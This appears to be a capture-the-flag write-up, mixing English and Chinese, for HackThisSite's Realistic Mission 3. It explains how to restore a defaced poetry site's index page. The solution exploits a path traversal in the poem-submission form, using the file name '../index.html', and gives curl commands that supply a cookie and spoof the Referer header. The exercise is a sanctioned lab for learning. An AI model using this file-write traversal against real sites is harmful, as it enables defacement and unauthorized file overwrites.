HackThisSite - Realistic Mission 3

Challenge

Restore the original page of a defaced peace-poetry site.

目标是找到原始主页备份,并恢复被篡改的 index.html

Solution

1. 找到备份

被篡改页面源码包含注释:

1
<!-- oldindex.html -->

访问同目录的 oldindex.html 可以取得原始页面内容,并看到诗歌读取和提交功能。

2. 利用提交功能的路径穿越

提交处理器把用户提供的文件名直接用于保存路径。将文件名设为:

1
../index.html

再把 oldindex.html 的完整内容作为诗歌正文提交:

1
2
3
4
5
6
7
8
OLD_HTML=$(curl -sS -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/3/oldindex.html")

curl -sS -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/3/submitpoems.php" \
--data-urlencode "name=../index.html" \
--data-urlencode "text=${OLD_HTML}" \
"https://www.hackthissite.org/missions/realistic/3/submitpoems2.php"

处理器要求来自 submitpoems.php 的 Referer;使用浏览器操作时自然会满足,命令行测试则需显式设置。

重新访问任务首页。恢复后的页面出现下一关链接,表示任务完成。